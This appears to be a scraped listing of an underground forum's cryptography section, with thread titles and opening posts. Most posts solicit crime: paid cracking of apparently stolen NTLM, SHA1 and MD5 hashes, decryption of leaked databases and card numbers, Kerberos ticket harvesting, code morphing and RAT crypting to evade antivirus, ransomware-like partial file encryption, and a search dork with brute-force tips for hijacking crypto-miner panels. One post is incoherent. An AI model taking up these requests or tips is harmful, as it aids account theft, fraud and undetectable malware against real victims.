PySyft (PyTorch):

PySyft is an open-source framework built on PyTorch for privacy-preserving machine learning. It offers a wide range of tools for
secure multi-party computation, including federated learning and differential privacy.

TenSEAL (PyTorch):

TenSEAL is a library built on PyTorch specifically for Secure Homomorphic Encryption. It provides a high-level API for working with encrypted data and performing secure computations.

PySEAL (Microsoft SEAL):

Microsoft SEAL (Simple Encrypted Arithmetic Library) is a popular open-source library for homomorphic encryption. PySEAL is the
Python wrapper for SEAL, allowing you to perform operations on encrypted data securely.

PALISADE (C++):

PALISADE is an open-source C++ library for lattice-based cryptography, which is the foundation for many SMPC protocols. It provides a wide range of cryptographic primitives for building secure applications.

SCALE-MAMBA (Python):

SCALE-MAMBA is a Python library for secure multi-party computation. It includes a compiler that can convert high-level code into secure protocols, making it easier to define and execute secure computations.

mpc.js (JavaScript):

If you're interested in web-based applications with SMPC, mpc.js is a JavaScript library for secure multi-party computation. It allows you to perform computations in the browser securely.

MPC-Toolkit (Java):

MPC-Toolkit is a Java-based library for secure multi-party computation. It provides a range of protocols and cryptographic operations for building secure applications.

Scapi (Java):

Scapi is a Java-based library that focuses on secure computation protocols. It includes a wide range of cryptographic primitives and supports various secure computation techniques.

Empirical (Rust):

Empirical is a Rust-based library for secure multi-party computation. It aims to provide high-performance implementations of SMPC protocols.

ObliVM (Python):

ObliVM is a Python library for secure two-party and multi-party computation. It's designed for privacy-preserving machine learning applications and supports both semi-honest and malicious security models.

mpc.js и ObliVM - вообще непонятно поддерживаются ли.
PySyft без нормальной документации.
Ну и т.д.

Что посоветуете, кто писал?

Расшифровка хешей зашифрованых другими символами отличающихся от латиницы.
ID: 676536fbb4103b69df37375a
Thread ID: 107991
Created: 2024-02-11T05:35:10+0000
Last Post: 2024-02-11T05:39:03+0000
Author: 174region174
Replies: 1 Views: 362

Это пример проведённой работы по созданию арабского чарсета.
Так же можно сделать кириллицу. Это не сложно
А вот другие языки...
Типа китайский или японский где присутствует огромное количество иероглифов
Там всё намного сложнее

Kerberos hash
ID: 676536fbb4103b69df373759
Thread ID: 108078
Created: 2024-02-12T11:29:22+0000
Last Post: 2024-02-12T18:09:58+0000
Author: nomenchik
Replies: 2 Views: 360

Приветствую, впервые столкнулся с керберос хэшами, подскажите какие дальнешие шаги могу сделать(знаю что можно создать silver ticket, но дехешнуть керб хэш не получилось)

Какие бывают техники морфинга кода?
ID: 676536fbb4103b69df373785
Thread ID: 95311
Created: 2023-08-10T00:37:47+0000
Last Post: 2023-08-10T22:37:16+0000
Author: Ags1of
Replies: 2 Views: 356

Хотел бы задать вопрос по теме морфинга исходного кода: Какие существуют техники морфинга исходного кода, что он всегда будет уникальным/похожим на легитимный? Как вообще код морфится таким образом, что он не меняет своей функциональности, но меняет логику? В моем понимании, при изменении семантики кода, типо у нас есть метод, в нём выполняются какие-либо действия, так вот при первой обработке кода морфером, допустим, тело этого метода оборачивается в условие if(true), то есть, семантика изменилась, потом, допустим, при второй обработке, к if(true) добавиться else или else-if блок, в свою очередь в блоке if(true) условие поменяется на false, а в else или else-if значение условия будет true, и мы перенесём тело метода из if и else/else-if. Но вот что дальше, как дальше морфить код, ведь тут элементарно закончатся вариации морфинга путём обёртки кода. Я думаю, что уже готовые условия if и else if, внесённые в первой-второй обработке,уже не будет смысла при третьей, четвёртой обработке оборачивать по такому же принципу, создавая другие узлы логических операторов. Так вот, кто может подсказать или натолкнуть на мысль, как можно морфить код так, чтобы при каждой обработке(обрабатываться может как сурс, так уже и заморфленный сурс) компилировался новый уникальный файл, с отличающейся семантикой, чтобы эвристические анализаторы не ругались на файл, что он вредонос? Какие есть доступные для изучения алгоритмы морфинга исходного кода?

И вообще есть ли смысл мофрить один и тот же код несколько раз(типо уже заморфленный код морфить ещё раз), если принцип работы морфинга один и тот же? Как мне кажется, это просто будет приводить к тому, что все прописанные мной инструкции будут на какой-то попытке морфинга неактуальны, так как все возможные вариации изменений внесены

Зашифрованные номера СС
ID: 676536fbb4103b69df373815
Thread ID: 66481
Created: 2022-05-02T17:11:40+0000
Last Post: 2022-05-02T18:23:52+0000
Author: kazakboo
Replies: 3 Views: 351

Номера кредитных карт в базе лежат в таком формате
tinyblob
\xf9\xe1\xa9pk|i`\x84\xeb\x86 c\xd3K\xac

в ПМ плиз если кто сможет помочь понять что это

Расшифровка дампа
ID: 676536fbb4103b69df373820
Thread ID: 63629
Created: 2022-02-28T20:38:03+0000
Last Post: 2022-03-01T08:42:46+0000
Author: DoNTANGeL
Replies: 6 Views: 350

Доброго времени суток, я новичок в данной теме так что не судите строго
Подскажите как проходит расшифровка дампа какими прогами и где брать словари или лучше брутить по маске?
На данный момент надо расшифровать mail:hash тип:SHA-256

Как можно переконвертировать куки с .csv формата в Netscape?
ID: 676536fbb4103b69df373838
Thread ID: 60174
Created: 2021-12-17T10:05:37+0000
Last Post: 2021-12-17T10:05:37+0000
Author: Jaday
Replies: 0 Views: 349

Как можно переконвертировать куки с .csv формата в Netscape?

Что это за API токены? От биржи?
ID: 676536fbb4103b69df373809
Thread ID: 68900
Created: 2022-06-19T15:50:32+0000
Last Post: 2022-06-23T09:06:22+0000
Author: Code
Replies: 3 Views: 347

Это от какой-то биржи?

подобрать алгоритм шифрования IP адреса
ID: 676536fbb4103b69df373766
Thread ID: 104388
Created: 2023-12-20T14:35:27+0000
Last Post: 2023-12-20T14:57:31+0000
Author: wauzzz
Replies: 1 Views: 345

имеется stun сервер(s1.btsfapi.com:3478), отвечающий на запросы BIND REQUEST по UDP протоколу следующими значениями:

f08f:74de:f349:74e0:b063:ed75
f0d9:753f:f393:7541:b063:d6ed
efae:744d:f268:744f:b063:9d34
f05c:74fc:f316:74fe:b063:9ce4
f0fb:754a:f3b5:754c:b063:ede1
f0a9:7515:f363:7517:b063:d0c9
f032:7480:f2ec:7482:b063:ee16
f0f9:7538:f3b3:753a:b063:fdbf
f02f:7483:f2e9:7485:b063:e81f
f086:74cb:f340:74cd:b063:f758
f0bb:7500:f375:7502:b063:f78d
f0ae:74f1:f368:74f3:b063:f97c
efe4:745c:f29e:745e:b063:c41c
f087:74e6:f341:74e8:b063:dd8d
f092:74d5:f34c:74d7:b063:f960
f006:747c:f2c0:747e:b063:c63a
f053:74b6:f30d:74b8:b063:d961
f100:754d:f3ba:754f:b063:efe2
f04f:74c3:f309:74c5:b063:c87f
f0f6:7537:f3b0:7539:b063:fbc0
f0b2:7505:f36c:7507:b063:e9a0
f0c0:752d:f37a:752f:b063:cfe2
f089:74f6:f343:74f8:b063:cfab
f063:74a8:f31d:74aa:b063:f735
f01d:7497:f2d7:7499:b063:c259

eea3:740c:f15d:740e:904c:6166

ef2b:7431:f1e5:7433:c063:069f

Собственно в последних 2 словах содержится сам IP адрес, с которого делался запрос(т.е. b063:ed75 это 176.99.237.117) , а вот первые 4 слова это по всей видимости каким то алгоритмом зашифрован этот айпишник(защита от подмены). Можно ли как то подобрать этот алгоритм?

некоторые закономерности которые видны:

  1. дисперсия значений 1го байта 1го слова небольшая(EE-F0), составляет предположительно 2 бита полезной информации(может больше т.к. тестовая выборка значений мала пока что)
  2. дисперсия значений 1го байта 3го слова также небольшая(F1-F3)
  3. 4 слово = 2 слово + 2
  4. 1 цифра 2го слова а также 4 слова всегда 7
Сравнение ключей RSA
ID: 676536fbb4103b69df37372b
Thread ID: 125990
Created: 2024-11-01T06:20:06+0000
Last Post: 2024-11-01T06:25:49+0000
Author: zer0_day
Replies: 1 Views: 339

Есть небольшое количество закрытых и открытых ключей RSA. Ищу инструмент позволяющий их сравнить и найти пары ключей если таковые имеются.

ищу расхеш WP
ID: 676536fbb4103b69df373755
Thread ID: 109002
Created: 2024-02-25T08:06:46+0000
Last Post: 2024-02-25T08:31:14+0000
Author: Focus17
Replies: 1 Views: 337

постоянно требуется

Ищу/Looking for - Electrum Wallet Hash Instractor
ID: 676536fbb4103b69df3737fc
Thread ID: 70178
Created: 2022-07-15T19:16:22+0000
Last Post: 2022-08-16T09:32:49+0000
Author: Salyy212
Replies: 4 Views: 337

__

Electrum Wallet Hash Extractor | Online Hash Crack

Electrum wallet Hash Extractor - instantly! Electrum Wallet2john | Online Hash Crack

![www.onlinehashcrack.com](/proxy.php?image=https%3A%2F%2Fwww.onlinehashcrack.com%2Ftools- electrum-hash- extractor.php%2Ffavicon.png&hash=057f3050945407cea8c46d2b6cb59d75&return_error=1) www.onlinehashcrack.com

Отдельный скрипт для перевода
separate script for translation

Ask to encrypt the traffic app without vpn
ID: 676536fbb4103b69df373834
Thread ID: 60876
Created: 2022-01-05T06:54:43+0000
Last Post: 2022-01-05T06:55:08+0000
Author: 0xnet
Replies: 1 Views: 337

no tor

FREE SCANNER
ID: 676536fbb4103b69df373734
Thread ID: 124842
Created: 2024-10-15T09:03:07+0000
Last Post: 2024-10-15T09:03:07+0000
Author: TrDropperGen
Replies: 0 Views: 336

**http://avscanner.org/

Free Scanner

No limits. **
**Latest updates.
No file distribution.
Supports .exe, .doc, .docx, and .pdf extensions.

Create an account to gain access to the scanner and view scan history.
More antivirus programs may be added soon.

If you use TOR, results may be delayed.**

Please don 't contact me about issues—if something goes wrong, I will fix it.

Шифрование раздела и жесткого диска Veracrypt
ID: 676536fbb4103b69df37371e
Thread ID: 128683
Created: 2024-12-10T20:01:23+0000
Last Post: 2024-12-10T21:33:28+0000
Author: ips
Replies: 1 Views: 332

Короткий вопрос. Почему Veracrypt не разрешает зашифровать весь не системный жесткий диск? А можно только раздел Partition на жестком диске?

scrnt.png

Ключ
ID: 676536fbb4103b69df373768
Thread ID: 104040
Created: 2023-12-13T22:22:17+0000
Last Post: 2023-12-13T22:22:17+0000
Author: Shiro
Replies: 0 Views: 331

Имеется парочка Qr кодов, предполагаю, что там зашифрован приватный ключ/сидка, при сканировании qr, получаю текст с иероглифами, пытался применить всевозможные способы шифрования, но безуспешно. Единственное что нашел - в каждом таком тексте точно есть 20 одинаковых фрагментов, в хексе которые будут выглядеть так: "EA, B0". Подскажите пожалуйста, знающие люди. Длинна

Encryption in C # (AES & Rsa)
ID: 676536fbb4103b69df373828
Thread ID: 62703
Created: 2022-02-09T15:41:34+0000
Last Post: 2022-02-10T20:17:44+0000
Author: Artem2245
Replies: 2 Views: 330

Hello

I want to design a code that encrypts 2 MB of each file

But I keep failing

One of the kids designed an example for me that unfortunately did not work

Another problem I was able to write was a function that encrypts a 20 KB file. When I tested it, it encrypted 1 GB of its size and converted it to 20 KB, and of course it deletes the files.

I want to find a function in C # to encrypt the first 2 or 3 mg of all files (and smaller files to be fully encrypted)

If you can write us a function that encrypts a small part of the files

Thank you

sha1 and ntlm 50$
ID: 676536fbb4103b69df37383b
Thread ID: 59677
Created: 2021-12-04T17:12:14+0000
Last Post: 2021-12-04T17:12:14+0000
Author: regexmem
Replies: 0 Views: 330

just 1 of them i need

NTLM: fe93224712817a87a39a1ffd14f9dbee
SHA1 : 1e8ca5537d3a8a0aa69ac8ba3e1bb89749b09e4d
DPAPI : 5b4be7483c1c5bfcfd5416028fc941f5

50$

Encryption algorithm
ID: 676536fbb4103b69df37378e
Thread ID: 93359
Created: 2023-07-19T03:56:53+0000
Last Post: 2023-07-19T03:56:53+0000
Author: llww222
Prefix: Статья
Replies: 0 Views: 329

这些字符是如何加密的?能否将其转为纯文本?
3PQZ-3DPOVY-S6KS
FFML-MW61ZY-WTYE
EEXA-81I2IS-DGS0

Нужен человек для рассшифровки баз
ID: 676536fbb4103b69df373761
Thread ID: 106407
Created: 2024-01-22T14:18:38+0000
Last Post: 2024-01-22T14:18:38+0000
Author: perfecto
Replies: 0 Views: 328

Нужен человек который будет расшифровывать базы слитые с сайтов! (НЕ SQL injection)
SALT в базах присутствует!
Связь через ЛС , там выдам контакты!
Желательно люди с репутацией)

https://imgur.com/mMORZLd

apk rat encrypt
ID: 676536fbb4103b69df373822
Thread ID: 63198
Created: 2022-02-19T06:24:23+0000
Last Post: 2022-02-26T06:33:10+0000
Author: fileminer
Replies: 3 Views: 323

hi dear users
i have true apk rat client file
and good working

i need encrypt and FUD from google protect

please help me?

Cracking Hashes via Google Collab
ID: 676536fbb4103b69df37384d
Thread ID: 56545
Created: 2021-09-10T20:04:25+0000
Last Post: 2021-09-20T10:07:29+0000
Author: valhalla
Replies: 1 Views: 321

This can be done with either AWS or Google Collab assuming you know python/bash and ssh/hashcat/john/hydra operation. It is not mandatory but will speed up the process.

The example shown below is for Google Collab, you can choose to include your own wordlists or just do bruteforce method(s).

Go on : https://colab.research.google.com/github/mxrch/penglab/blob/master/penglab.ipynb
Select "Runtime", "Change runtime type", and set "Hardware accelerator" to GPU.
Change the config by setting "True" at tools you want to install.
Select "Runtime" and "Run all" !

Click to expand...

  • This is not my method or code but I wanted to share this because I don't see it here and I see lots of people asking for crack requests. Good luck.
Что за кошелек?
ID: 676536fbb4103b69df373804
Thread ID: 69650
Created: 2022-07-04T17:32:22+0000
Last Post: 2022-07-06T20:36:35+0000
Author: qwertyasdzxc1
Replies: 5 Views: 320

Подскажите кто знает.
72105.jpg

где отыскать лист айпишек ханипотов/корпов/спамхаусов?
ID: 676536fbb4103b69df3737f4
Thread ID: 72739
Created: 2022-09-05T14:46:38+0000
Last Post: 2022-09-05T14:46:38+0000
Author: mollycoddle
Replies: 0 Views: 318

сабж. нужен блеклист айпи различных ханипотов и тп дряни, которая может загнать сервер в спамхаус. в долгу не останусь

Ищу/Looking Worldlist (user/pass)
ID: 676536fbb4103b69df373760
Thread ID: 107324
Created: 2024-02-02T17:01:07+0000
Last Post: 2024-02-02T17:18:18+0000
Author: RedDragon
Replies: 1 Views: 317

Привет всем! Извиняюсь если создал тему не в том разделе но мне очень нужен worldlist username pass, поделитесь если не сложно, буду премнооого благодарен.

Who have worldlist username pass please send me, I will be thank you for this

What’s wrong with in-browser cryptography?
ID: 676536fbb4103b69df373836
Thread ID: 60823
Created: 2022-01-03T20:30:52+0000
Last Post: 2022-01-03T20:30:52+0000
Author: User186
Replies: 0 Views: 316

Всем Мир!
Хотел создать своё хранилище зашифрованных файлов (как MEGA). Но сразу возник вопрос о целесообразности шифрования, когда я арендую VPS. Наткнулся на статью про криптографию в браузере, в которой уже поднимали этот вопрос. Основная суть в том, что браузер не проверяет подлинность js скрипта (в отличии от ОС, которая проверяет хеши и подписи, когда скачиваешь приложение). И поэтому хостинг может подменять файл с шифрованием, а пользователь не узнает. Если мы доверяем https и серверу, то тогда зачем шифровать. Если не доверяем -- шифрование не поможет. И я не вижу способа исправить это. Как проверять подлинность скрипта?

Подскажите программу для шифрования большого обьема текста в sha256
ID: 676536fbb4103b69df373816
Thread ID: 66025
Created: 2022-04-22T17:32:54+0000
Last Post: 2022-04-27T14:57:43+0000
Author: suproom
Replies: 3 Views: 312

Подскажите программу для шифрования большого обьема текста в sha256(например я копирую и вставляю 50к строк,а с другой стороны получаю хеш)
Бесплатные есть сервисы или программы что б за раз могли обработать 50к+ строк,может кто знает

Определить алгоритм хеширования
ID: 676536fbb4103b69df37375e
Thread ID: 107593
Created: 2024-02-06T07:56:51+0000
Last Post: 2024-02-06T07:56:51+0000
Author: TOPCHEK
Replies: 0 Views: 311

Spoiler: Неактуально

Пароль: Qwerty123!

Хеш: bea06a87bcc48173577b934ae16bd160173a1b8a
Соль: 3827919044
Ключ: dfa0caac6b6b957292a98bed893c7ec398388ab4

Ключ не знаю обязателен или нет. Надо узнать что за алгоритм хеширования.

Помогите расшифровать
ID: 676536fbb4103b69df37380c
Thread ID: 66894
Created: 2022-05-12T01:38:53+0000
Last Post: 2022-05-30T23:08:31+0000
Author: akriosss47
Replies: 2 Views: 310

afell://ihs.gaddbfdavgcemk.nkf/elpis что за шифр.

Сбор TGS в домене (krb5tgs)
ID: 676536fbb4103b69df373753
Thread ID: 109057
Created: 2024-02-26T06:31:26+0000
Last Post: 2024-02-26T06:31:26+0000
Author: user_47
Replies: 0 Views: 308

Всем привет!

Требуется ли временная метка при сборе TGS в AD чтобы этот тикет потом нормально брутился?

Увидел что у импакетного скрипта GetUserSPNs есть отдельный параметр для этого. Поэтому и возник вопрос а правельно ли я их собираю:) А то ничего после моего сбора не брутиться

Some Miner Fun
ID: 676536fbb4103b69df373845
Thread ID: 58125
Created: 2021-10-24T21:02:25+0000
Last Post: 2021-10-24T22:25:13+0000
Author: valhalla
Replies: 4 Views: 298

Every so often I assume new miners pop up and so with new software are new users.

Be creative with your approach but I'm sure you can find all sorts of goodies.

Here in this example I will show you how you can find AntMiners via Fofa.so and if you're smart you will hit up the vendor here for tokens to export entire lists.

"Antminer" && title == "401 - Unauthorized"

Click to expand...

Use this dork combined with any country / date / region you think is desirable. It is a reliable method often to find panels and admin dashboards with default logins.
If you're familiar with nmap or burp suite you can attempt bruteforce as well. Good luck, at one point I was receiving 180TH/s for 10 days.

MetaMask_chrome_Defult exodus TronLink_chrome_Default ETC
ID: 676536fbb4103b69df373808
Thread ID: 68804
Created: 2022-06-17T04:29:49+0000
Last Post: 2022-06-26T16:19:17+0000
Author: kboss
Replies: 1 Views: 297

hello guy please what i can do with a wallet folder like this and more?

Насколько опасна JavaScript-криптография?
ID: 676536fbb4103b69df373791
Thread ID: 92945
Created: 2023-07-14T17:29:03+0000
Last Post: 2023-07-14T17:29:03+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 296


[Каждые](https://web.archive.org/web/20120213161535/http://matasano.com/articles/javascript- cryptography/) [несколько](https://blog.bren2010.io/blog/criticism-of- javascript-crypto) лет среди специалистов по безопасности поднимаются дискуссии о вреде JS-криптографии. Сейчас они возобновились. Что стало поводом и почему у некоторых специалистов такое предубеждение к криптографическим операциям в браузере? Попробуем разобраться.

Критика JavaScript-криптографии​

Претензии к криптографии в браузере концентрируются вокруг следующих тезисов:

  • Излишнее использование JS-криптофункций там, где достаточно SSL/TLS. Например, создание собственных криптопротоколов для передачи парольных хэшей от клиента на сервер в процессе аутентификации. Или генерация AES-ключа для каждой пользовательской заметки на сервере, чтобы зашифрованные данные не были доступны никому постороннему, даже серверу.
  • Передача JS-кода в браузер не может быть осуществлена безопасным способом, если нет доверия к серверу (проблема курицы и яйца). Другими словами, если вы не доверяете серверу передачу пароля по SSL/TLS, то нет причин доверять ему передачу криптографического JS-кода к клиенту. Тот же злоумышленник, который потенциально может перехватить пароли до шифрования SSL/TLS, может и скомпрометировать JS-код, что сделать очень легко внедрением одного скрипта. Конечно, криптобиблиотеки можно передать по SSL/TLS, но в таком случае они больше не нужны.
  • Браузерный JavaScript не создан для криптографии вплоть до того, что он якобы по своей природе враждебен приложениям информационной безопасности, в нём слишком много «простых» уязвимостей. Конечно, в серьёзном криптографическом ПО и библиотеках тоже находят уязвимости, но это единичные редкие случаи. На поиск таких уязвимостей уходит много сил и времени, в то время как баги в JS-коде бывают тривиальны.
  • Ложное чувство безопасности. Применение ненадёжной JS-криптографии удерживает пользователей от использования действительно качественных и безопасных криптографических инструментов.

Претензии выдвигаются именно к криптографическим операциям в браузере , в то время как выполнение криптографического JS-кода за пределами браузера не считается настолько опасным/неправильным.

По мнению критиков, браузеры не обеспечивают стабильной среды выполнения, а различный код передаётся в браузер по мере загрузки страницы и по отдельным событиям вроде наведения мыши. Таким образом, невозможно гарантировать безопасность JS-криптографии без гарантий безопасности остального контента, который загружается вместе с ним. Например, бэкдор может скрываться где-то в постороннем элементе дерева DOM — и даже самая хорошая JS-процедура будет скомпрометирована.

Изменчивая среда выполнения означает, что каждое выполнение JS-кода выполняется по сути после его переустановки. Нельзя гарантировать ни стабильности самого кода, ни постоянного окружения.

Ещё одна проблема браузеров — тотальное кэширование всего контента, что не даёт возможности выполнения криптографического кода в чистом окружении.

Современные практики​

В реальности современного веба большая часть криптографических функций уже реализована на JavaScript. Поддерживаются основные примитивы системного программирования, необходимые для криптографии, в том числе генератор случайных чисел. Например, через [Math.random()](https://developer.mozilla.org/en- US/docs/Web/JavaScript/Reference/Global_Objects/Math/random):

Code:Copy to clipboard

function getRandomInt(max) {
 return Math.floor(Math.random() * max);
}

console.log(getRandomInt(3));
// Expected output: 0, 1 or 2

console.log(getRandomInt(1));
// Expected output: 0

console.log(Math.random());
// Expected output: a number from 0 to <1

Надо признать, что область применения веб-криптографии постепенно расширяется, так что к ней относятся уже более серьёзно. Она становится предметом научных работ, проводится аудит существующих библиотек и т. д.

В последнее десятилетие в вебе реализовано множество криптосистем, в том числе приложения со сквозным шифрованием, P2P-системы с разделением секрета, финансовые системы на блокчейне, протоколы доказательства с нулевым разглашением (zero- knowledge proof, ZKP). Разработан устойчивый к прослушиванию протокол парольной аутентификации (SRP) на основе обмена ключами [PAKE](https://en.wikipedia.org/wiki/Password- authenticated_key_agreement) и другие системы, в том числе такие, безопасность которых математически доказана. Все они полагаются на JS-криптографию в браузере и считают это нормальным. Хотя критики называют это криптографическим театром (по аналогии с театром безопасности, где существует только иллюзия безопасности).

В конце концов, загрузка кода с сервера не слишком отличается от загрузки программных пакетов из репозитория. У этих каналов одинаковый метод защиты — HTTPS:

«Если [менеджер пакетов] поддерживает HTTPS и правильно проверяет сертификаты, дистрибутив может установить репозитории или зеркала, поддерживающие передачу данных по HTTPS. Это не защитит от вредоносного зеркала, но предотвратит атаку MiTM от постороннего лица» — из статьи «Взгляд в зеркало: атаки на пакетные менеджеры», CCS '08: Proceedings of the 15th ACM conference on Computer and communications security, стр. 565–574, doi: 10.1145/1455770.1455841

Click to expand...

В качестве альтернативы веб-криптографии рассматривается экосистема PGP, которая лишена всех недостатков браузеров, обеспечивая стабильную и надёжную среду выполнения для криптографических функций. Правда, у PGP [собственные недостатки](https://blog.cryptographyengineering.com/2014/08/13/whats-matter- with-pgp/), которые мешают этой экосистеме наращивать аудиторию.

Кроме PGP, существует немало других криптографических инструментов, которые распространяются с открытым исходным кодом и достаточно стабильны. Менеджеры паролей, программы для шифрования сообщений, файлов и жёсткого диска, мессенджеры и др. Эти инструменты изолированы от изменчивой браузерной среды.

На самом деле не существует однозначного на вопрос о безопасности веб- криптографии. В некоторых случаях веб-приложения с поддержкой криптографии безопаснее, чем аналогичные нативные приложения без криптографии.

взято с habr.com

Всесторонний анализ литературы, посвящённой атакам через сторонние каналы.
ID: 676536fbb4103b69df37373b
Thread ID: 123833
Created: 2024-09-30T17:30:14+0000
Last Post: 2024-09-30T17:30:14+0000
Author: ktpm23
Replies: 0 Views: 295

Автор в своей работе «Comprehensive Literature Review on Side-Channel Attacks» разбирает, как можно взломать криптографические системы с помощью Side-Channel Attacks (SCAs). Это когда злоумышленники изучают непрямую информацию, например, потребление энергии, электромагнитные излучения или временные отклонения. Такие атаки — серьёзная угроза для современных криптографических систем, и они обходят традиционные меры безопасности.

Автор рассказывает о таких вещах:

Как развиваются SCAs и как они работают.

Какие последствия у SCAs для современных систем.

Как можно защититься от SCAs.

В работе говорится, что SCAs могут атаковать встроенные устройства, смарт- карты, системы IoT и специализированные аппаратные устройства для машинного обучения и криптографического ускорения.

Автор приводит примеры уязвимостей Meltdown и Spectre, которые показывают, как можно обойти безопасность в современных процессорах. Ещё есть атаки по потреблению энергии и электромагнитные атаки, которые используют, чтобы взломать криптографическую защиту в смарт-картах.

Автор рекомендует использовать постоянные алгоритмы и генерацию шума, чтобы защититься от SCAs. Но новые уязвимости продолжают появляться. Поэтому важно понимать и защищаться от SCAs, особенно когда атаки становятся всё сложнее, а криптографические системы всё больше используются.

![www.ncbi.nlm.nih.gov](/proxy.php?image=https%3A%2F%2Fwww.ncbi.nlm.nih.gov%2Fcorehtml%2Fpmc%2Fpmcgifs%2Fpmc- card-share.jpg%3F_%3D0&hash=b4eae1ed72623091e64c06e36b8249eb&return_error=1)

[ A Comprehensive Survey on the Non-Invasive Passive Side-Channel

Analysis ](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9658655/)

Side-channel analysis has become a widely recognized threat to the security of cryptographic implementations. Different side-channel attacks, as well as countermeasures, have been proposed in the literature. Such attacks pose a severe threat to both hardware ...

www.ncbi.nlm.nih.gov www.ncbi.nlm.nih.gov

Умное управление несколькими строками одним поиском - ценная техника.
ID: 676536fbb4103b69df373758
Thread ID: 108177
Created: 2024-02-13T12:23:07+0000
Last Post: 2024-02-13T12:58:25+0000
Author: XSSer
Replies: 2 Views: 293

Three years ago, I first learned about it, and I found it useful and could be applied for the benefit of our brothers and sisters here.

How to identify a group of women in society? They possess distinctive traits, both visually and biologically, which form the basis of their identity.

Как найти группу женщин в обществе? У них есть характерные черты, как визуальные, так и биологические, которые являются основой их идентификации.

что за кодировка или как зашифрован текст?
ID: 676536fbb4103b69df373800
Thread ID: 70791
Created: 2022-07-28T18:42:54+0000
Last Post: 2022-08-06T18:59:01+0000
Author: 100500
Replies: 2 Views: 292

есть текст. непонятно чем он зашифрован или какая кодировка?
пример:

𝐃𝐨𝐰𝐧 𝟑𝟖 𝐢𝐧 𝟏𝟒 𝐝𝐚𝐲𝐬, 𝟐 𝐚𝐰𝐚𝐲 𝐟𝐫𝐨𝐦 𝐦𝐲 𝐠𝐨𝐚𝐥. 𝐄𝐯𝐞𝐫𝐲𝐭𝐡𝐢𝐧𝐠 𝐦𝐞𝐥𝐭𝐬 𝐨𝐟𝐟 𝐬𝐮𝐩𝐞𝐫 𝐟𝐚𝐬𝐭, 𝐞𝐯𝐞𝐧 𝐢𝐧 𝐦𝐲 𝐦𝐨𝐬𝐭 𝐬𝐭𝐮𝐛𝐛𝐨𝐫𝐧 𝐩𝐫𝐨𝐛𝐥𝐞𝐦 𝐚𝐫𝐞𝐚𝐬.

Шифрование (не лок) датасторов vSphere
ID: 676536fbb4103b69df373722
Thread ID: 127916
Created: 2024-11-30T00:20:19+0000
Last Post: 2024-11-30T00:20:19+0000
Author: scoring0
Replies: 0 Views: 292

Имеется несколько серверов vSphere и Synology NAS, настроен vSAN.
Вопрос: Как шифрануть весь датастор, что бы при изьятии дисков инфу без условно пароля или флешки не смогли достать? (мы не говорим про РКА или заморозку рамы азотом и другие изощренные способы, только про изъятие дисков и попытку прочитать с них инфу путем доставания ключей из рамы на "горячую")

Так же интересно, что есть пул на Synology с бекапами, их тоже хочется шифрануть, но нативное шифрование Synology обходится на раз-два, мб видел кто какие решения?

can someone provide Crypto jacking course?
ID: 676536fbb4103b69df373783
Thread ID: 95596
Created: 2023-08-13T16:30:56+0000
Last Post: 2023-08-17T07:14:20+0000
Author: cloudz2
Replies: 2 Views: 291

I have started learning how blockchain and cryptography work and how secure it is to use. And now I thought of in some way it can be jacked. Discussion Open===>

Оплачу md5
ID: 676536fbb4103b69df37384b
Thread ID: 57607
Created: 2021-10-12T01:19:09+0000
Last Post: 2021-10-12T12:10:03+0000
Author: unwinding
Replies: 4 Views: 286

f7284390ec51cb16a3aa311b18cc5638
d65275017db1ba8db3acb5c91703a5f3

по $10 за каждый

кто может поделиться правилами для Брута
ID: 676536fbb4103b69df373813
Thread ID: 66515
Created: 2022-05-03T08:33:55+0000
Last Post: 2022-05-03T08:38:06+0000
Author: РКН
Replies: 1 Views: 286

Пример 123>123!>123!!

Вопрос по hashcat и серии линеек rtx
ID: 676536fbb4103b69df373847
Thread ID: 57893
Created: 2021-10-19T12:28:18+0000
Last Post: 2021-10-20T01:22:57+0000
Author: F0xman
Replies: 1 Views: 281

Доброго времени всем. Возникло не сколько вопросов по данному поводу. Просьба подсказать разбирающимся.
Возможно ли запустить hashcat к примеру на 6 3080ti, чтобы все видеокарты работали одновременно?
Если да, просьба подсказать как это сделать. И важны ли порты PCI-E на мат. плате? Под всё это дело рассматриваю мат. плату MSI B450 GAMING PLUS MAX.
И такой вопрос. Что будет более производительней под эти цели? 4x3090, или 6x3080ti?
Благодарю заранее за ответы.

Не могу снять литконы с carbonwallet.com!!!
ID: 676536fbb4103b69df373827
Thread ID: 63110
Created: 2022-02-17T15:22:31+0000
Last Post: 2022-02-17T17:33:45+0000
Author: Vary
Replies: 2 Views: 278

Привет всем, при снятии LTC с данного сайта выдает ошибку:

"We're sorry, but something went wrong.​

If you are the application owner check the logs for more information. "

может кто то сталкивался с такой проблемой... , заранее спасибо.

Что за кодировка?
ID: 676536fbb4103b69df37380a
Thread ID: 67936
Created: 2022-05-31T16:44:55+0000
Last Post: 2022-06-13T20:21:01+0000
Author: resolution_of_soul
Replies: 2 Views: 278

всем привет, такой вопрос
исходный текст: {"user_id":304338,"username":"ressurection","language_id" :2}
а приходит: b46bc45bd09c233b2033284d5c422cb177e88c2685c3a2ff0c925c97db89 ba308d059026261d1125b64e62db9ba9e177d33fce6b7ae1055346fbb1ab 81025f0d
что это за кодировка?

Fast encryption
ID: 676536fbb4103b69df373823
Thread ID: 63493
Created: 2022-02-25T19:50:07+0000
Last Post: 2022-02-25T21:20:22+0000
Author: Aros
Replies: 11 Views: 272

Hi guys

I have a question from you

Is it possible to encrypt quickly in C#?

Can you help me a little?

Создание Instagram enc_password
ID: 676536fbb4103b69df373782
Thread ID: 96196
Created: 2023-08-21T12:47:11+0000
Last Post: 2023-08-21T12:47:11+0000
Author: Demoduck
Replies: 0 Views: 270

Всем привет. При попытке создать парсер для инсты, который не будет использовать ресурсы UI, то есть без использования решений по типу selenium(web drive), столкнулся с проблемой. Анализируя траффик запроссов, на главной странице входа в аккаунт, после нажатия кнопки входа, посылается запрос, который содержит логин в чистом виде и пароль, но в виде enc_password.

Ex: #PWD_INSTAGRAM_BROWSER:10:1592421027:ARpQAAm7pp/etjy2dMjVtPRdJFRPu8FAGILBRyupINxLckJ3QO0u0RLmU5NaONYK2G0jQt+78BBDBxR9nrUsufbZgR02YvR8BLcHS4uN8Gu88O2Z2mQU9AH3C0Z2NpDPpS22uqUYhxDKcYS5cA==

Result of: "somepassword"

Хотел бы узнать метод шифрования.

Смена пароля
ID: 676536fbb4103b69df373818
Thread ID: 64437
Created: 2022-03-18T09:16:15+0000
Last Post: 2022-04-13T13:24:30+0000
